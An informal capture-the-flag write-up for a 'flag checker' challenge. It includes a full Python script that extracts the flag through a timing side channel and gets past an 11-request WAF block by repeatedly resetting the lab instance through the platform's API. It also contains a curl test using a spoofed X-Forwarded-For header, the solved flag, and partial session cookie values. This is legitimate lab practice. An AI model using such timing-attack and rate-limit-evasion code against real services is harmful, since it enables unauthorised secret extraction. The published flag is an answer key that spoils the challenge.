
Can check 11 chars before needing reset, so automated script to reset, check 0-a, reset, check bcdef, reset, move to next position, and added the re attempt for the x-response-tiem header empty.
I knew the flag was in flag{md5sum} or 32 characters, and it was easy get, /submit?flag=flag{md5sum}
We had too many scripts, but at one point we tested and found getting blocked after 11 tries, and here is a curl we used to test:
curl -v 'https://<your_instance_url>/submit?flag=flag{f0000000000000000000000000000000}' \\
--cookie 'token=<your_challenge_token>' \\
-H 'X-Forwarded-For: 10.1.1.1' \\
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36' \\
-H 'Referer: https://<your_instance_url>/'
So from there I didn't want to manually reset, tried, but was just too painful, was able to figure out the api information for the ctf platform and add to the script. I logged into out original account before joining the team and ran a second version to test and it was confirming the same values. That was a problem we initially had, was the resposne times were not consistient enough or returned difference flags.
I tried walking around the x-forwarded-header and real-ip but didn't have good results down that hole.



flag{77ba0346d9565e77344b9fe40ecf1369}
If you post it in the field you get

HUNTRESS_AUTH_TOKEN = "base64-eyJhY2Nl"
HUNTRESS_SP_COOKIE = "sp=1fc0bef6-37f7-4b4e-8aed-d59d9f9bb8bb"
import requests
import sys
import time
import random
from typing import Optional, Dict
from urllib.parse import urlparse, parse_qs
RESET_API_URL = "<https://ctf.huntress.com/api/student/courses/fd52b41d-833d-4ea8-9df1-98553bf2ea34/systems/a30a3849-db00-48c6-9c35-c2ec37fa6cb3/reset>"
CONNECT_API_URL = "<https://ctf.huntress.com/api/student/courses/fd52b41d-833d-4ea8-9df1-98553bf2ea34/systems/a30a3849-db00-48c6-9c35-c2ec37fa6cb3/connect>"
HUNTRESS_REFERER = "<https://ctf.huntress.com/events/308dbb3b-8095-40e8-a46f-900e11f2a084/take/-flag-checker>"
# --- Attack Parameters ---
FLAG_LENGTH = 32
CHAR_SET = "0123456789abcdef"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36"
TIME_THRESHOLD = 0.05
MAX_RETRIES = 3 # Number of times to retry a failed request
# --- AUTOMATION FUNCTION ---
def automate_reset(session: requests.Session) -> Optional[tuple[str, str]]:
print("\\n[AUTOMATION] Automating the reset process...")
if "PASTE_YOUR" in HUNTRESS_AUTH_TOKEN or "PASTE_YOUR" in HUNTRESS_SP_COOKIE:
sys.exit("[!] ERROR: You must paste both cookie values.")
api_cookies = {"sb-auth-auth-token": HUNTRESS_AUTH_TOKEN, "sp": HUNTRESS_SP_COOKIE}
api_headers = {"Referer": HUNTRESS_REFERER, "User-Agent": USER_AGENT}
try:
print("[AUTOMATION] Sending reset request...")
requests.post(RESET_API_URL, cookies=api_cookies, headers=api_headers, json={}, timeout=30).raise_for_status()
wait_time = 25
print(f"[AUTOMATION] Waiting {wait_time}s for instance reboot...")
time.sleep(wait_time)
print("[AUTOMATION] Sending connect request...")
connect_payload = {"connectionIndex": 0, "isNew": True}
connect_res = requests.post(CONNECT_API_URL, cookies=api_cookies, headers=api_headers, json=connect_payload, timeout=30)
connect_res.raise_for_status()
connect_data = connect_res.json()
full_url = connect_data.get("url")
if not full_url: sys.exit(f"[!] CRITICAL: Could not find 'url' in connect response: {connect_data}")
parsed_url = urlparse(full_url)
new_base_url = f"{parsed_url.scheme}://{parsed_url.netloc}/"
fragment_params = parse_qs(parsed_url.fragment)
new_challenge_token = fragment_params.get('token', [None])[0]
if not new_challenge_token: sys.exit("[!] CRITICAL: Could not parse 'token' from URL fragment.")
session.cookies.set("token", new_challenge_token)
print("[AUTOMATION] Successfully obtained new credentials.")
return new_base_url, new_challenge_token
except requests.RequestException as e:
sys.exit(f"[!] CRITICAL: API call failed during reset. Error: {e}")
# --- Helper Functions ---
def get_time(session: requests.Session, flag_attempt: str, base_url: str) -> Optional[float]:
"""Sends a single request and returns the backend time."""
try:
headers = {"User-Agent": USER_AGENT, "Referer": base_url}
params = {"flag": flag_attempt}
response = session.get(f"{base_url}submit", params=params, headers=headers, timeout=10)
if "stop hacking" in response.text.lower():
print(f" -> GET .../submit?flag={flag_attempt} -> Blocked by WAF!")
return -1.0
if 'x-response-time' in response.headers:
time_value = float(response.headers['x-response-time'])
print(f" -> GET .../submit?flag={flag_attempt} -> Time: {time_value:.6f}s")
return time_value
print(f" -> GET .../submit?flag={flag_attempt} -> ERROR: No x-response-time header")
return None
except requests.RequestException as e:
print(f" -> GET .../submit?flag={flag_attempt} -> ERROR: {e}")
return None
def find_next_character(session: requests.Session, known_flag: str) -> Optional[str]:
position = len(known_flag) + 1
print(f"\\n==============\\n[*] Testing position {position}/{FLAG_LENGTH}...\\n==============")
timing_data: Dict[str, float] = {}
# --- Batch 1 ---
print("[*] Batch 1: Testing characters '0' through 'a'...")
initial_creds = automate_reset(session)
if not initial_creds: sys.exit("[FAIL] Could not get new instance for Batch 1.")
base_url, _ = initial_creds
for char_to_test in CHAR_SET[:11]:
payload_content = known_flag + char_to_test + ("0" * (FLAG_LENGTH - position))
flag_attempt = f"flag{{{payload_content}}}"
time_taken = None
# NEW: Retry loop for resilience
for attempt in range(MAX_RETRIES):
time.sleep(0.2)
current_time = get_time(session, flag_attempt, base_url)
if current_time is not None:
if current_time == -1.0: sys.exit("[FAIL] Session blocked unexpectedly.")
time_taken = current_time
break # Success, break from retry loop
print(f" [!] Attempt {attempt + 1}/{MAX_RETRIES} failed. Retrying in 2s...")
time.sleep(2)
if time_taken is None:
print(f" [!] FAILED to get a valid time for '{char_to_test}' after {MAX_RETRIES} retries. Skipping.")
timing_data[char_to_test] = 0.0 # Assign zero so it's not chosen as the max
else:
timing_data[char_to_test] = time_taken
# --- Batch 2 ---
print("\\n[*] Batch 1 complete. Resetting for Batch 2.")
reset_result = automate_reset(session)
if not reset_result: sys.exit("[FAIL] Automation failed during Batch 2 reset.")
base_url, _ = reset_result
print("\\n[*] Batch 2: Resuming with new credentials...")
for char_to_test in CHAR_SET[11:]:
payload_content = known_flag + char_to_test + ("0" * (FLAG_LENGTH - position))
flag_attempt = f"flag{{{payload_content}}}"
time_taken = None
# NEW: Retry loop for resilience
for attempt in range(MAX_RETRIES):
time.sleep(0.2)
current_time = get_time(session, flag_attempt, base_url)
if current_time is not None:
if current_time == -1.0: sys.exit("[FAIL] Session blocked unexpectedly.")
time_taken = current_time
break # Success, break from retry loop
print(f" [!] Attempt {attempt + 1}/{MAX_RETRIES} failed. Retrying in 2s...")
time.sleep(2)
if time_taken is None:
print(f" [!] FAILED to get a valid time for '{char_to_test}' after {MAX_RETRIES} retries. Skipping.")
timing_data[char_to_test] = 0.0
else:
timing_data[char_to_test] = time_taken
# --- Analysis ---
if not timing_data: return None
best_char = max(timing_data, key=lambda k: timing_data.get(k, 0))
max_time = timing_data.get(best_char, 0)
print(f"\\n--- Timing Summary for Position {position} ---")
for char, timing in sorted(timing_data.items(), key=lambda item: item[1], reverse=True):
print(f" - '{char}': {timing:.6f}s")
if max_time > TIME_THRESHOLD:
print(f"\\n[+] Analysis complete. Best character is '{best_char}' with time {max_time:.6f}s")
return best_char
else:
print(f"\\n[!] Analysis complete, but no time was above the threshold {TIME_THRESHOLD}s. Best guess was '{best_char}'.")
return None
def main():
with requests.Session() as session:
print("[*] Starting initial setup...")
known_flag_content = ""
while len(known_flag_content) < FLAG_LENGTH:
next_char = find_next_character(session, known_flag_content)
if next_char:
known_flag_content += next_char
print(f"\\n[SUCCESS] Flag found so far: {known_flag_content}")
else:
sys.exit("\\n[FAIL] Script failed to determine the next character.")
full_flag = f"flag{{{known_flag_content}}}"
print(f"\\n[COMPLETE] 🎉 Full flag found: {full_flag}")
if __name__ == "__main__":
main()